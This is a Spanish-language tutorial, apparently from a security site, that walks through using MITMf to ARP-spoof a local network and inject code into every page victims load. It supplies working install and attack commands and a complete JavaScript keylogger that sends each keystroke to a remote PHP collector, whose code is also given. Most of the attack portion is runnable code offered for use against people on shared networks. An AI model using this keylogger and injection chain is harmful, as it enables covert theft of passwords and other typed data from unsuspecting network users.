NeosLab.com
Sniffing & Spoofing

Inyectar código arbitrario durante un ataque MITM usando MITMf

En criptografía y seguridad informática, un ataque MITM (man-in-the-middle) es un ataque en el que el atacante retransmite en secreto y posiblemente altera la comunicación entre dos partes que creen que se están comunicando directamente entre sí. Un ejemplo de los ataques MITM es el espionaje activo, en el cual el atacante establece conexiones independientes con las víctimas y transmite mensajes entre ellos para hacerles creer que están hablando directamente entre sí a través de una conexión privada, cuando de hecho toda la conversación está siendo controlada por el atacante. El atacante debe ser capaz de interceptar todos los mensajes que pasan entre las víctimas e inyectar otros nuevos. Esto es sencillo en muchas circunstancias; por ejemplo, un atacante dentro del rango de recepción de un punto de acceso inalámbrico no encriptado (Wi-Fi) podría insertarse a sí mismo como un “hombre en medio”.

Como un ataque que apunta a engañar la autenticación mutua, o carece de eso, un ataque MITM puede tener éxito solo cuando el atacante puede suplantar cada punto final a su satisfacción como se espera de los fines legítimos. La mayoría de los protocolos criptográficos incluyen alguna forma de autenticación de punto final específicamente para prevenir ataques MITM. Por ejemplo, TLS puede autenticar a una o ambas partes usando una autoridad de certificación mutuamente confiable.

Fuente: wikipedia.org

¿QUÉ ES MITMF?

MITMf tiene como objetivo proporcionar una ventanilla única para Man-In-The-Middle y ataques de red al tiempo que actualiza y mejora los ataques y las técnicas existentes.

Originalmente creado para abordar las deficiencias significativas de otras herramientas (por ejemplo, Ettercap, Mallory), ha sido casi completamente reescrito desde cero para proporcionar un marco modular y fácilmente ampliable que cualquiera puede usar para implementar su propio ataque MITM.


CARACTERÍSTICAS DE MITMF
  • El marco contiene un servidor SMB, HTTP y DNS integrado que puede ser controlado y utilizado por los diversos complementos, también contiene una versión modificada del proxy SSLStrip que permite la modificación HTTP y un bypass parcial de HSTS.
  • A partir de la versión 0.9.8, MITMf admite el filtrado y la manipulación de paquetes activos (básicamente lo que hicieron los filtros de etter, solo que mejor), lo que permite a los usuarios modificar cualquier tipo de tráfico o protocolo.
  • El archivo de configuración se puede editar sobre la marcha mientras se ejecuta MITMf, los cambios se transmitirán a través del marco: esto le permite ajustar la configuración de los complementos y servidores mientras se realiza un ataque.
  • MITMf capturará FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (cadenas de comunidad), NTLMv1 / v2 (todos los protocolos compatibles, como HTTP, SMB, LDAP, etc.) y las credenciales de Kerberos mediante Net-Creds, que se ejecuta en puesta en marcha.
  • La integración de responder permite LLMNR, NBT-NS y MDNS poisoning también permite soporte de servidor Rogue WPAD.

Fuente: github.com

INSTALAR MITMF

Instalar MITMf es bastante fácil y no requiere habilidades avanzadas. Para hacerlo solo abra su terminal y escriba uno por uno los comandos a continuación.

En Arch Linux

$ pacman -S python2-setuptools libnetfilter_queue libpcap libjpeg-turbo capstone

En Debian y derivados como Ubuntu, Kali Linux, etc.

$ apt install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

Si está utilizando Arch Linux solo recuerde usar “pip2” en lugar de “pip” fuera de “virtualenv“.

Instalar virtualenvwrapper

$ pip install virtualenvwrapper

Edite su archivo .bashrc o .zshrc para obtener el script virtualenvwrapper.sh.

$ source /usr/bin/virtualenvwrapper.sh

La ubicación de este script puede variar según su distribución de Linux. Cuando haya terminado, simplemente reinicie su terminal o ejecute:

$ source /usr/bin/virtualenvwrapper.sh

Crear su virtualenv

$ mkvirtualenv MITMf -p /usr/bin/python2.7

Clona el repositorio MITMf

$ mkdir -p /opt/sniffing-spoofing/
$ cd /opt/sniffing-spoofing/
$ git clone https://github.com/byt3bl33d3r/MITMf
$ cd MITMf && git submodule init && git submodule update --recursive
$ pip install -r requirements.txt
$ chmod +x mitmf.py
¿CÓMO FUNCIONA?

El esquema de ataque es bastante simple en realidad. La máquina atacante necesita conectarse a una red donde están conectadas otras máquinas. Esto puede ser una red doméstica, una red de oficinas, una red de cibercafé o un punto de acceso público.

Una vez que la máquina atacante está conectada, deberá ejecutar los scripts que proporcionamos a continuación para inyectar su código arbitrario en todas las máquinas conectadas en la misma red y luego en la máquina atacante.

Antes de seguir avanzando, tendrá que tomar la dirección de su puerta de enlace y su interfaz de red. Puedes hacerlo simplemente usando los siguientes ejemplos de comandos “ifconfig” y “iproute

Encontrar mi nombre de interfaz

$ ifconfig

Salida

Como puede ver en la captura de pantalla anterior, en nuestro caso, el nombre de la interfaz es “wlp2s0”.

Encontrar la puerta de enlace de mi enrutador

$ ip route

Salida

Del resultado anterior, está claro que 192.168.1.1 es la dirección IP de la puerta de enlace predeterminada.

Inyectar código HTML

$ cd ~/
$ mkdir demo && cd demo
$ echo '<div>HTML code to inject</div>' > ~/demo/inject.html
$ mitmf --inject --html-file ~/demo/inject.html --spoof --arp --gateway 192.168.1.1 -i wlp2s0

Inyectar código JS

$ cd ~/
$ mkdir demo && cd demo
$ echo '<script type="text/javascript">alert("JS code to inject");</script>' > ~/demo/inject.js
$ mitmf --inject --js-file ~/demo/inject.js --spoof --arp --gateway 192.168.1.1 -i wlp2s0

Importante: Si tiene instalado Apache y/o SMB, deberá detener esos servicios antes de ejecutar MITMf para evitar cualquier conflicto de puerto.

DESPLEGAR EL ATAQUE

Para el propósito de nuestra prueba, elegiremos la segunda opción, inyectando un keylogger basado en la Web en JavaScript que estará presente en cada página visitada por cada máquina conectada a la red. El keylogger capturará todas las pulsaciones de teclas de los usuarios y lo enviará a un servidor remoto. Hemos publicado hace unos días otro tutorial que explica cómo crear un Keylogger Javascript basado en la Web, que puede ser útil si quiere saber cómo funciona un keylogger.

Crear archivo JS Keylogger – keylogger.js

if((window.jQuery))
{
	console.log("jQuery Found");
}
else
{
	console.log("jQuery Not Found");
	var script = document.createElement('script');
	script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
	document.body.appendChild(script);
}

function c(d)
{
	jQuery.ajax(
	{
		dataType: "jsonp",
		type:"GET",
		url: "https://example.com/keylogger.php", // Your Keylogger URL
		jsonp:"keypressed",
		data:
		{
			altnKey:d.altKey?1:0,
			ctrlKey:d.ctrlKey?1:0,
			userKey:d.key,
			targKey:d.target.id,
			userURI:d.target.baseURI
		},
		async:false,
		success: function(data)
		{
			console.log(data);
		},
		error:function(xhr, ajaxOptions, thrownError)
		{
			console.log("Error");
		}
	});	
}

window.onload = function()
{
	window.addEventListener("keydown", function(e) 
	{
		c(e);
	});
}

Por favor, asegúrese de reemplazar “https://example.com/keylogger.php” con la URL real de tu archivo PHP.

Crear archivo PHP Keylogger – keylogger.php

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data.txt';
if(!file_exists($file)) 
{
	$fh = fopen($file, 'w');
}

function f($str)
{
	return trim(preg_replace("(\\\)","",htmlentities(strip_tags($str),ENT_QUOTES,'UTF-8')));
}

$altnKey=(int)$_GET['altnKey'];
$ctrlKey=(int)$_GET['ctrlKey'];
$userKey=f($_GET['userKey']);
$targKey=f($_GET['targKey']);
$userURI=f($_GET['URI']);

$string = $altnKey."|".$ctrlKey."|".$userKey."|".$targKey."|".$userURI."\n";

file_put_contents($file, $string, FILE_APPEND);

El “keylogger.php” debe alojarse en un servidor remoto y el URL completo del archivo debe especificarse en el archivo “keylogger.js”.

Inyectar el archivo JS

Ahora que estamos listos con nuestro archivo, debemos inyectar el JavaScript a la red. Para hacerlo, usaremos el siguiente comando.

$ mitmf --inject --js-file ~/demo/keylogger.js --spoof --arp --gateway 192.168.1.1 -i wlp2s0

Salida

¡Estás listo! Si desea ver un ataque completo y cómo se recopilan las pulsaciones de teclas con MITMf, no dude en ver el video a continuación.

Deja un comentario

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link